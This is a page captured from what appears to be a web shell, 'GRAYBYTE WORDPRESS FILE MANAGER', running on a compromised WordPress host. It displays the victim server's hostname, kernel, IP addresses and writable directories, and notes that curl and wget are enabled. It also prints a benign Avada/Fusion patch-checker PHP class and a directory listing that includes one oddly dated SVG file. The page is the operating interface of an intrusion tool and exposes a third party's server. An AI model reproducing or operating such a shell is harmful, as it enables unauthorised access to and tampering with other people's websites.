✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ webm004.cluster127.gra.hosting.ovh.net ​🇻​♯➤ 6.18.42-ovh-vps-grsec-zfs+ #1 SMP 🇾​♯➤ 2026

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 54.36.91.62 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.191
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ _dyuweyrj4,_dyuweyrj4r,dl

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /home/docteuh/www/cgi_bin/default/authorization/lib/inc//class-fusion-patcher-checker.php
<?php
/**
 * The Patcher checker implementation.
 *
 * @package Fusion-Library
 * @subpackage Fusion-Patcher
 */

/**
 * Periodically checks for patches and adds admin bubbles in menu.
 *
 * @since 1.0.0
 */
class Fusion_Patcher_Checker {

	/**
	 * How often to check for updates.
	 * (in seconds)
	 *
	 * @access private
	 * @since 1.0.0
	 * @var int
	 */
	private $period = DAY_IN_SECONDS;

	/**
	 * The transient name.
	 *
	 * @static
	 * @access public
	 * @since 1.0.0
	 * @var string
	 */
	public static $transient_name = 'fusion_patcher_check_num';

	/**
	 * An instance of the Fusion_Patcher class.
	 *
	 * @access private
	 * @since 1.0.0
	 * @var Object
	 */
	private $patcher = [];

	/**
	 * The patches.
	 *
	 * @access protected
	 * @since 1.0.0
	 * @var array
	 */
	protected $patches = [];

	/**
	 * The patches that have already been applied.
	 *
	 * @access protected
	 * @since 1.0.0
	 * @var array
	 */
	protected $applied_patches = [];

	/**
	 * How many new patches do we have?
	 *
	 * @access protected
	 * @since 1.0.0
	 * @var int
	 */
	private $new_patches = 0;

	/**
	 * Have we already checked the number of patches?
	 *
	 * @access protected
	 * @since 1.0.0
	 * @var bool
	 */
	private $checked = false;

	/**
	 * Constructor.
	 *
	 * @access public
	 * @param object $patcher The Fusion_Patcher instance.
	 */
	public function __construct( $patcher ) {

		$this->patcher = $patcher;
		if ( $this->patcher->is_bundled() ) {
			return;
		}

		if ( ! is_customize_preview() ) {
			add_action( 'admin_enqueue_scripts', [ $this, 'admin_scripts' ] );
		}

	}

	/**
	 * Adds a script to the admin footer so that counters are added in the menus.
	 *
	 * @access public
	 * @since 1.0.0
	 * @return void
	 */
	public function admin_scripts() {
		global $fusion_library_latest_version;

		wp_enqueue_script(
			'fusion-patcher-checker',
			FUSION_LIBRARY_URL . '/assets/min/js/general/fusion-patcher-admin-menu-notices.js',
			[ 'jquery', 'underscore' ],
			$fusion_library_latest_version,
			true
		);

		$args = [
			'patches'                   => $this->get_cache(),
			'display_counter'           => apply_filters( 'fusion_patches_counter', 'both' ), // Allowed values are both|top_level|sub_level|none.
			'args'                      => [],
			'patch_applied_text'        => __( 'Patch Applied', 'Avada' ),
			'patch_dismiss_notice_text' => __( 'Dismiss Notice', 'Avada' ),
			'admin_url'                 => esc_url( admin_url() ),
		];

		$args['args'][] = $this->patcher->get_args();

		wp_localize_script( 'fusion-patcher-checker', 'patcherVars', $args );

	}

	/**
	 * Get & Update the Cache.
	 *
	 * @access public
	 * @since 1.0.0
	 */
	public function get_cache() {
		$cache = get_site_transient( self::$transient_name );
		if ( ! is_array( $cache ) ) {
			$cache = [];
		}
		$context = $this->patcher->get_args( 'context' );
		if ( ! isset( $cache[ $context ] ) ) {
			$cache[ $context ] = $this->get_new_patches_num();
			set_site_transient( self::$transient_name, $cache, $this->period );
		}
		return $cache;
	}

	/**
	 * Check how many new patches exist.
	 *
	 * @access private
	 * @since 1.0.0
	 * @return int
	 */
	private function get_new_patches_num() {

		$args    = $this->patcher->get_args();
		$bundles = $this->patcher->get_args( 'bundled' );
		if ( ! $bundles ) {
			$bundles = [];
		}
		$contexts   = $bundles;
		$contexts[] = $this->patcher->get_args( 'context' );

		$this->patches = Fusion_Patcher_Client::get_patches( $args );

		// Get an array of the already applied patches.
		$this->applied_patches = get_site_option( 'fusion_applied_patches', [] );

		if ( $this->checked ) {
			return (int) $this->new_patches;
		}

		foreach ( $this->patches as $patch_id => $patch ) {
			$valid_patch = false;
			if ( ! isset( $patch['patch'] ) || empty( $patch['patch'] ) ) {
				continue;
			}
			foreach ( $patch['patch'] as $file_patch ) {
				if ( $valid_patch ) {
					continue;
				}

				if ( in_array( $file_patch['context'], $contexts ) ) { // phpcs:ignore WordPress.PHP.StrictInArray.MissingTrueStrict
					$valid_patch = true;
				}
			}
			if ( $valid_patch && ! in_array( $patch_id, $this->applied_patches ) ) { // phpcs:ignore WordPress.PHP.StrictInArray.MissingTrueStrict
				$this->new_patches++;
			}
		}
		$this->checked = true;
		return (int) $this->new_patches;
	}

	/**
	 * Resets the cache.
	 *
	 * @static
	 * @access public
	 * @since 1.0.0
	 */
	public static function reset_cache() {
		delete_site_transient( self::$transient_name );
	}
}


Current_dir [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
8 Sep 2026 5.38 AM
docteuh / users
0755
custom-icons
--
8 Sep 2026 5.38 AM
docteuh / users
0755
fusion-app
--
8 Sep 2026 5.38 AM
docteuh / users
0755
importer
--
8 Sep 2026 5.38 AM
docteuh / users
0755
jetpack-device-detection
--
8 Sep 2026 5.38 AM
docteuh / users
0755
recaptcha
--
8 Sep 2026 5.38 AM
docteuh / users
0755
redux
--
8 Sep 2026 5.38 AM
docteuh / users
0755
templates
--
8 Sep 2026 5.38 AM
docteuh / users
0755
widgets
--
8 Sep 2026 5.38 AM
docteuh / users
0755
class-awb-widget-framework.php
54.885 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-awb-widget-style.php
24.171 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-admin-notice.php
5.499 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-amp.php
1.412 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-breadcrumbs.php
29.436 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-cache.php
7.791 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-color.php
68.855 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-data-framework.php
1.8 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-data-postmeta.php
7.026 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-data-termmeta.php
8.399 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-data.php
12.993 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-device-detection.php
1.455 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-downloader.php
5.209 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-dynamic-css-file.php
4.507 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-dynamic-css-helpers.php
12.374 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-dynamic-css-inline.php
3.13 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-dynamic-css.php
17.721 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-dynamic-js-file.php
8.247 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-dynamic-js-separate.php
1.509 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-dynamic-js.php
13.118 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-envato-api.php
11.729 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-fa-font-downloader.php
7.35 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-featured-image.php
5.196 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-filesystem.php
6.188 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-font-awesome.php
13.949 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-fusionredux.php
56.494 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-helper.php
10.32 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-images.php
62.214 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-json-ld.php
2.136 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-library-autoloader.php
7.355 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-media-query-scripts.php
12.416 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-multilingual.php
17.534 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-nav-walker.php
41.06 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-options-map.php
7.443 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-options.php
4.745 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-panel-callbacks.php
12.309 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-patcher-admin-notices.php
2.798 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-patcher-admin-screen.php
14.548 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-patcher-apply-patch.php
9.98 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-patcher-cache.php
3.559 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-patcher-checker.php
4.404 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-patcher-client.php
4.647 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-patcher-filesystem.php
6.106 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-patcher.php
5.101 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-privacy.php
6.186 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-product-registration.php
23.788 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-sanitize.php
14.431 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-scripts.php
19.769 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-searchform.php
3.227 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-settings.php
27.407 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-social-icon.php
7.203 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-social-icons.php
5.336 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-social-sharing.php
8.962 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-updater.php
9.326 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-woocommerce.php
9.533 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion.php
11.641 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
functions.php
71.943 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
fusion-icon.php
3.829 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
googlefonts-array.php
140.397 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
icon-redirect-manager.svg
1.299 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
wc-functions.php
2.61 KB
20 Nov 2023 7.11 PM
docteuh / users
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF